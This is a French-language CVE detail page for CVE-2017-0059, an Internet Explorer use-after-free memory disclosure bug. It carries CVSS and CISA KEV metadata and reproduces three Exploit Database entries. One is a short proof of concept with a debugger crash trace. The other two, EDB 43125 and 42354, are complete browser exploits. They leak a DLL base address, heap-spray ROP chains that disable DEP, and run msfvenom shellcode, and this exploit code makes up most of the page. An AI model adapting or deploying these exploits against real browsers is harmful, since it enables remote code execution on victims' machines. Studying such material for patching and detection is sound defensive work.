CVE-2017-0059 : Détail

CVE-2017-0059

4.3
/
Moyen
83.91%V4
Network
2017-03-17
00h00 +00:00
2025-02-10
18h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Microsoft Internet Explorer 9 through 11 allow remote attackers to obtain sensitive information from process memory via a crafted web site, aka "Internet Explorer Information Disclosure Vulnerability." This vulnerability is different from those described in CVE-2017-0008 and CVE-2017-0009.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE Other No informations.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 4.3 MEDIUM CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 4.3 AV:N/AC:M/Au:N/C:P/I:N/A:N nvd@nist.gov

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Microsoft Internet Explorer Information Disclosure Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2022-03-27 22h00 +00:00

Action attendue : 2022-04-17 22h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 41661

Date de publication : 2017-03-19 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1076 There is an use-after-free bug in IE which can lead to info leak / memory disclosure. The bug was confirmed on Internet Explorer version 11.0.9600.18537 (update version 11.0.38) PoC: ========================================= --> <!-- saved from url=(0014)about:internet --> <script> function run() { var textarea = document.getElementById("textarea"); var frame = document.createElement("iframe"); textarea.appendChild(frame); frame.contentDocument.onreadystatechange = eventhandler; form.reset(); } function eventhandler() { document.getElementById("textarea").defaultValue = "foo"; alert("Text value freed, can be reallocated here"); } </script> <body onload=run()> <form id="form"> <textarea id="textarea" cols="80">aaaaaaaaaaaaaaaaaaaaaaaa</textarea> <!-- ========================================= Please also see the attached screenshots that demonstrate using the PoC for memory disclosure. The root cause of a bug is actually a use-after-free on the textarea text value, which can be seen if a PoC is run with Page Heap enabled. In that case IE crashes at (b5c.f44): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=10abbff8 ebx=00000002 ecx=10abbff8 edx=10abbff8 esi=0e024ffc edi=00000000 eip=7582c006 esp=0a3aac48 ebp=0a3aac54 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 msvcrt!wcscpy_s+0x46: 7582c006 0fb706 movzx eax,word ptr [esi] ds:002b:0e024ffc=???? 0:008> k # ChildEBP RetAddr 00 0a3aac54 7198e8f0 msvcrt!wcscpy_s+0x46 01 0a3aad48 7189508e MSHTML!CElement::InjectInternal+0x6fa 02 0a3aad88 7189500c MSHTML!CRichtext::SetValueHelperInternal+0x79 03 0a3aada0 71894cf9 MSHTML!CRichtext::DoReset+0x3f 04 0a3aae24 71894b73 MSHTML!CFormElement::DoReset+0x157 05 0a3aae40 706c05da MSHTML!CFastDOM::CHTMLFormElement::Trampoline_reset+0x33 06 0a3aaeb0 706b6d73 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x19d 07 0a3aaef8 706baa24 jscript9!Js::JavascriptFunction::CallFunction<1>+0x91 08 0a3ab19c 7071451a jscript9!Js::InterpreterStackFrame::Process+0x3a10 09 0a3ab1d4 70714579 jscript9!Js::InterpreterStackFrame::OP_TryCatch+0x49 0a 0a3ab478 706bdbe9 jscript9!Js::InterpreterStackFrame::Process+0x49a8 0b 0a3ab5b4 09780fd9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200 WARNING: Frame IP not in any known module. Following frames may be wrong. 0c 0a3ab5c0 706bda16 0x9780fd9 0d 0a3ab868 706bdbe9 jscript9!Js::InterpreterStackFrame::Process+0x1e62 0e 0a3ab984 09780fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200 0f 0a3ab990 706b6d73 0x9780fe1 10 0a3ab9dc 706b73a8 jscript9!Js::JavascriptFunction::CallFunction<1>+0x91 11 0a3aba50 706b72dd jscript9!Js::JavascriptFunction::CallRootFunction+0xb5 12 0a3aba98 706b7270 jscript9!ScriptSite::CallRootFunction+0x42 13 0a3abae4 7086d8f8 jscript9!ScriptSite::Execute+0xd2 14 0a3abb48 7165a587 jscript9!ScriptEngineBase::Execute+0xc7 15 0a3abc04 7165a421 MSHTML!CListenerDispatch::InvokeVar+0x15a 16 0a3abc30 7165a11c MSHTML!CListenerDispatch::Invoke+0x6d 17 0a3abcd0 7165a286 MSHTML!CEventMgr::_InvokeListeners+0x210 18 0a3abce8 7165a1ad MSHTML!CEventMgr::_InvokeListenersOnWindow+0x42 19 0a3abd78 71659f1b MSHTML!CEventMgr::_InvokeListeners+0x150 1a 0a3abedc 714df1d7 MSHTML!CEventMgr::Dispatch+0x4d5 1b 0a3abf08 71969808 MSHTML!CEventMgr::DispatchEvent+0x90 1c 0a3abf40 7132de1f MSHTML!COmWindowProxy::Fire_onload+0x146 1d 0a3abfa0 7132df9c MSHTML!CMarkup::OnLoadStatusDone+0x5c0 1e 0a3abfbc 7132cd31 MSHTML!CMarkup::OnLoadStatus+0xed 1f 0a3ac400 714e8062 MSHTML!CProgSink::DoUpdate+0x48d 20 0a3ac40c 712de2f9 MSHTML!CProgSink::OnMethodCall+0x12 21 0a3ac45c 712ddcfa MSHTML!GlobalWndOnMethodCall+0x16c 22 0a3ac4b0 759962fa MSHTML!GlobalWndProc+0x103 23 0a3ac4dc 75996d3a user32!InternalCallWinProc+0x23 24 0a3ac554 759977c4 user32!UserCallWinProcCheckWow+0x109 25 0a3ac5b4 7599788a user32!DispatchMessageWorker+0x3b5 26 0a3ac5c4 726da99c user32!DispatchMessageW+0xf 27 0a3af794 7277ec38 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464 28 0a3af854 765182ec IEFRAME!LCIETab_ThreadProc+0x3e7 29 0a3af86c 73f73a31 iertutil!CMemBlockRegistrar::_LoadProcs+0x67 2a 0a3af8a4 75e0336a IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94 2b 0a3af8b0 77b19902 kernel32!BaseThreadInitThunk+0xe 2c 0a3af8f0 77b198d5 ntdll!__RtlUserThreadStart+0x70 2d 0a3af908 00000000 ntdll!_RtlUserThreadStart+0x1b where the old value was deleated at 0:008> !heap -p -a 0e024ffc address 0e024ffc found in _DPH_HEAP_ROOT @ f1000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) dd03820: e024000 2000 7417947d verifier!AVrfDebugPageHeapReAllocate+0x0000036d 77bb126b ntdll!RtlDebugReAllocateHeap+0x00000033 77b6de86 ntdll!RtlReAllocateHeap+0x00000054 71ba761f MSHTML!CTravelLog::_AddEntryInternal+0x00000215 71b8f48d MSHTML!MemoryProtection::HeapReAlloc<0>+0x00000026 71b8f446 MSHTML!_HeapRealloc<0>+0x00000011 7162deea MSHTML!BASICPROPPARAMS::SetStringProperty+0x00000546 71678877 MSHTML!CBase::put_StringHelper+0x0000004d 71fc6d60 MSHTML!CFastDOM::CHTMLTextAreaElement::Trampoline_Set_defaultValue+0x00000070 706c05da jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x0000019d 706c0f77 jscript9!Js::JavascriptOperators::CallSetter+0x00000138 706c0eb4 jscript9!Js::JavascriptOperators::CallSetter+0x00000076 70710cd3 jscript9!Js::JavascriptOperators::SetProperty_Internal<0>+0x00000341 70710b26 jscript9!Js::JavascriptOperators::OP_SetProperty+0x00000040 70710ba6 jscript9!Js::JavascriptOperators::PatchPutValueNoFastPath+0x0000004d 706ba60e jscript9!Js::InterpreterStackFrame::Process+0x00002c1e 706bdbe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000200 Note: because the text allocations aren't protected by MemGC and happen on the process heap, use-after-free bugs dealing with text allocations are still exploitable. Screenshots: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41661.zip -->
Exploit Database EDB-ID : 43125

Date de publication : 2017-10-16 22h00 +00:00
Auteur : mschenk
EDB Vérifié : Yes

<!DOCTYPE html> <html> <head> <style> .class1 { float: left; column-count: 5; } .class2 { column-span: all; columns: 1px; } table {border-spacing: 0px;} </style> <script> var ntdllBase = ""; function infoleak() { var textarea = document.getElementById("textarea"); var frame = document.createElement("iframe"); textarea.appendChild(frame); frame.contentDocument.onreadystatechange = eventhandler; form.reset(); } function eventhandler() { document.getElementById("textarea").defaultValue = "foo"; // Object replaced here // one of the side allocations of the audio element var j = document.createElement("canvas"); ctx=j.getContext("2d"); ctx.beginPath(); ctx.moveTo(20,20); ctx.lineTo(20,100); ctx.lineTo(70,100); ctx.strokeStyle="red"; ctx.stroke(); } setTimeout(function() { var txt = document.getElementById("textarea"); var il = txt.value.substring(2,4); var addr = parseInt(il.charCodeAt(1).toString(16) + il.charCodeAt(0).toString(16), 16); ntdllBase = addr - 0x000d8560; alert("NTDLL base addr is: 0x" + ntdllBase.toString(16)); spray(); boom(); }, 1000); function writeu(base, offs) { var res = 0; if (base != 0) { res = base + offs } else { res = offs } res = res.toString(16); while (res.length < 8) res = "0"+res; return "%u"+res.substring(4,8)+"%u"+res.substring(0,4); } function spray() { var hso = document.createElement("div"); var junk = unescape("%u0e0e%u0e0e"); while(junk.length < 0x1000) junk += junk; //ntdll prefered base addr = 0x77ec0000 //ROP chain built from NTDLL.DLL to disable DEP using VirtualProtect var rop = unescape( writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret writeu(0, 0x12345678) + //junk to account for retn 0x0004 writeu(0, 0x0e0e0e3e) + //addr of size variable placeholder writeu(ntdllBase, 0x26A04) + //0x77ee6a04: xor eax, eax ; ret writeu(ntdllBase, 0xC75C6) + //0x77f875c6: add eax, 0x00001000 ; pop esi ; ret writeu(0, 0x12345678) + //junk into esi writeu(ntdllBase, 0x1345E) + //0x77ed345e: mov dword [ecx], eax ; mov al, 0x01 ; pop ebp ; retn 0x0008 writeu(0, 0x12345678) + //junk into ebp writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret writeu(0, 0x12345678) + //junk to account for retn 0x0008 writeu(0, 0x12345678) + //junk to account for retn 0x0008 writeu(0, 0x0e0e0484) + //addr of protection value placeholder writeu(ntdllBase, 0x26A04) + //0x77ee6a04: xor eax, eax ; ret writeu(ntdllBase, 0x57C32) + //0x77f17c32: add eax, 0x20 ; ret writeu(ntdllBase, 0x57C32) + //0x77f17c32: add eax, 0x20 ; ret writeu(ntdllBase, 0x1345E) + //0x77ed345e: mov dword [ecx], eax ; mov al, 0x01 ; pop ebp ; retn 0x0008 writeu(0, 0x12345678) + //junk into ebp writeu(ntdllBase, 0x13F8) + //0x77ec13f8: ret writeu(0, 0x12345678) + //junk to account for retn 0x0008 writeu(0, 0x12345678) + //junk to account for retn 0x0008 writeu(ntdllBase, 0x00045ae0) + //ntdll!ZwProtectVirtualMemory - ntdll = 0x00045ae0 writeu(0, 0x0e0e048c) + //return addr = shellcode addr writeu(0, 0xffffffff) + //process handle (-1) writeu(0, 0x0e0e0e22) + //pointer to addr of shellcode writeu(0, 0x0e0e0e3e) + //pointer to size writeu(0, 0x22222222) + //placeholder for PAGE_EXECUTE_READWRITE = 0x40 writeu(0, 0x0e0e0e0a) //addr to write old protection value ); //Shellcode //root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption "%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" + ""); //stack pivot var xchg = unescape(writeu(ntdllBase, 0x2D801)); //0x77eed801: xchg eax, esp ; add al, 0x00 ; pop ebp ; retn 0x0004 //first stage ROP chain to do bigger stack pivot var pivot = unescape( writeu(ntdllBase, 0xB7786) + //0x77f77786: pop ecx ; ret writeu(0, 0x12345678) + //junk offset for retn 0x0004 writeu(0, 0xfffff5fa) + //offset to add to ESP to get back to the ROP chain writeu(ntdllBase, 0xC4AE7) + //x77f84ae7: add esp, ecx ; pop ebp ; retn 0x0004 writeu(0, 0x0e0e028c) //pointer to shellcode for use with ntdll!ZwProtectVirtualMemory ); var offset = 0x7c9; //magic number - offset into heap spray to reach addr 0x0e0e0e0e var data = junk.substring(0, 0x200) + rop + shellcode + junk.substring(0, offset - 0xd0 - 0x200 - rop.length - shellcode.length) + pivot + junk.substring(0, 0xd0-pivot.length) + xchg; data += junk.substring(0, 0x800 - offset - xchg.length); while(data.length < 0x80000) data += data; for(var i = 0; i < 0x350; i++) { var obj = document.createElement("button"); obj.title = data.substring(0, (0x7fb00-2)/2); hso.appendChild(obj); } } function boom() { document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa"; th1.align = "right"; } </script> </head> <body onload=infoleak()> <form id="form"> <textarea id="textarea" style="display:none" cols="80">aaaaaaaaaaaaa</textarea> </form> <table cellspacing="0"> <tr class="class1"> <th id="th1" colspan="0" width=2000000></th> <th class="class2" width=0><div class="class2"></div></th> </table> </body> </html>
Exploit Database EDB-ID : 42354

Date de publication : 2017-07-23 22h00 +00:00
Auteur : redr2e
EDB Vérifié : No

<!DOCTYPE html> <html> <head> <style> .class1 { float: left; column-count: 5; } .class2 { column-span: all; columns: 1px; } table {border-spacing: 0px;} </style> <script> var base_leaked_addr = ""; function infoleak() { var textarea = document.getElementById("textarea"); var frame = document.createElement("iframe"); textarea.appendChild(frame); frame.contentDocument.onreadystatechange = eventhandler; form.reset(); } function eventhandler() { document.getElementById("textarea").defaultValue = "foo"; // Object replaced here // one of the side allocations of the audio element var audioElm = document.createElement("audio"); audioElm.src = "test.mp3"; } function writeu(base, offs) { var res = 0; if (base != 0) { res = base + offs } else { res = offs } res = res.toString(16); while (res.length < 8) res = "0"+res; return "%u"+res.substring(4,8)+"%u"+res.substring(0,4); } function readu(value) { var uc = escape(value); var ucsplit = uc.split('%'); var res = parseInt('0x' + ucsplit[2].replace('u', '') + ucsplit[1].replace('u', '')); return res; } function spray() { // DEPS technique used here - avoid null bytes var hso = document.createElement("div"); base_leaked_addr = parseInt(base_leaked_addr,16); var junk = unescape("%u0e0e%u0e0e"); while (junk.length < 0x1000) junk += junk; var rop = unescape( writeu(base_leaked_addr,0x56341) + writeu(base_leaked_addr,0x56341) + writeu(base_leaked_addr,0x9b7c) + writeu(0,0xffffffff) + writeu(base_leaked_addr,0x2a89e) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x4e385) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x2030f) + writeu(base_leaked_addr,0x9b7c) + writeu(0,0x41414141) + writeu(0,0x41414141) + writeu(0,0xf07645d5) + writeu(base_leaked_addr,0x6e002) + writeu(0,0x41414141) + writeu(base_leaked_addr,0xaebc) + writeu(base_leaked_addr,0x9b7c) + writeu(0,0xffffffbf) + writeu(base_leaked_addr,0x2a89e) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x6361b) + writeu(base_leaked_addr,0x432cf) + writeu(0,0x41414141) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x9b7c) + writeu(base_leaked_addr,0x5cef1) + writeu(base_leaked_addr,0x4177e) + writeu(base_leaked_addr,0x9b7c) + writeu(base_leaked_addr,0x1244) + writeu(base_leaked_addr,0xa819) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x2720b) + "" ); /* Original VirtualAlloc ROP generated with mona.py - www.corelan.be Library used "propsys.dll", part of the Windows Search functionality (?) and last updated Nov 2010. I think it's a good target for our needs. Fixed to overcome the problem with MOV EAX,80004001 after the PUSHAD instruction "%u6341%u6af8" + // 0x6af86341 : ,# POP EBP # RETN [PROPSYS.dll] "%u6341%u6af8" + // 0x6af86341 : ,# skip 4 bytes [PROPSYS.dll] "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] "%uffff%uffff" + // 0xffffffff : ,# Value to negate, will become 0x00000001 "%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%ue385%u6af7" + // 0x6af7e385 : ,# PUSH EAX # ADD AL,5E # XOR EAX,EAX # POP EBX # POP EDI # POP EBP # RETN 0x08 [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (compensate) "%u4141%u4141" + // 0x41414141 : ,# Filler (compensate) --> changed to 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u45d5%uf076" + // 0xf07645d5 : ,# put delta into eax (-> put 0x00001000 into edx) "%ue002%u6af9" + // 0x6af9e002 : ,# ADD EAX,0F89CA2B # RETN [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%uaebc%u6af3" + // 0x6af3aebc : ,# XCHG EAX,EDX # RETN [PROPSYS.dll] "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] "%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040 "%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u361b%u6af9" + // 0x6af9361b : ,# XCHG EAX,ECX # ADD DL,B # DEC ECX # RETN 0x08 [PROPSYS.dll] "%u32cf%u6af7" + // 0x6af732cf : ,# POP EDI # RETN [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u40bd%u6af4" + // 0x6af440bd : ,# RETN (ROP NOP) [PROPSYS.dll] "%ucef1%u6af8" + // 0x6af8cef1 : ,# POP ESI # RETN [PROPSYS.dll] "%u177e%u6af7" + // 0x6af7177e : ,# JMP [EAX] [PROPSYS.dll] "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] "%u1244%u6af3" + // 0x6af31244 : ,# ptr to &VirtualAlloc() [IAT PROPSYS.dll] "%u6af8" + // 0x6af80a14 : ,# PUSHAD # ADD AL,0 # MOV EAX,80004001 # POP EBP # RETN 0x08 [PROPSYS.dll] --> changed to 0x6af3a819 : # PUSHAD # CMP EAX,0C68B6AF3 # POP ESI # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u720b%u6af5" + // 0x6af5720b : ,# ptr to 'jmp esp' [PROPSYS.dll] */ // Move ESP to the VirtualAlloc ROP chain var stack_shift_rop = unescape( writeu(0,235802130) + writeu(base_leaked_addr,0x2030f) + // 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} writeu(0,0x0e0e1258) + writeu(base_leaked_addr,0x28002) + // 0x6af58002 : # MOV EAX,EBX # POP EBX # POP EBP # RETN 0x08 ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} writeu(0,0x41414141) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x0b473) + //0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} writeu(0,0x41414141) + writeu(0,0x41414141) + ""); // root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le // ~2854 bytes max var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption "%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" + ""); var xchg = unescape(writeu(base_leaked_addr, 0x0b473)); // Initial EIP control ---> 0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} var fix1 = 0x15c; var fixop = unescape("%u0e0e%u0e0e"); var offset_to_stack_shift = 0x6f7; var offset_to_xchg = 0xd2+2; // Jumping a bit around here, pretty sure this can be simplified but hey... it works data = junk.substring(0,fix1-rop.length) + rop + fixop + shellcode + junk.substring(0,offset_to_stack_shift-fix1-fixop.length-shellcode.length) + stack_shift_rop + junk.substring(0,offset_to_xchg-stack_shift_rop.length) + xchg; data += junk.substring(0,0x800-offset_to_stack_shift-offset_to_xchg-xchg.length); while (data.length < 0x80000) data += data; for (var i = 0; i < 0x350; i++) { var obj = document.createElement("button"); obj.title = data.substring(0,(0x7fb00-2)/2); hso.appendChild(obj); } } function boom() { document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa"; th1.align = "right"; } setTimeout(function() { var txt = document.getElementById("textarea"); var il = txt.value.substring(0,2); var leaked_addr = readu(il); base_leaked_addr = leaked_addr - 0xbacc; // base of propsys base_leaked_addr = base_leaked_addr.toString(16); spray(); boom(); }, 1000); // can be reduced </script> </head> <body onload=infoleak()> <form id="form"> <textarea id="textarea" style="display:none" cols="81">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea> </form> <script> </script> <table cellspacing="0"> <tr class="class1"> <th id="th1" colspan="0" width=2000000></th> <th class="class2" width=0><div class="class2"></div></th> </table> </body> </html>

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 9

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_vista >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 10

Microsoft>>Windows_server_2012 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 11

Microsoft>>Windows_10_1507 >> Version -

Microsoft>>Windows_10_1511 >> Version -

Microsoft>>Windows_10_1607 >> Version -

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

Références

http://www.securityfocus.com/bid/96645
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/43125/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/41661/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/42354/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1038008
Tags : vdb-entry, x_refsource_SECTRACK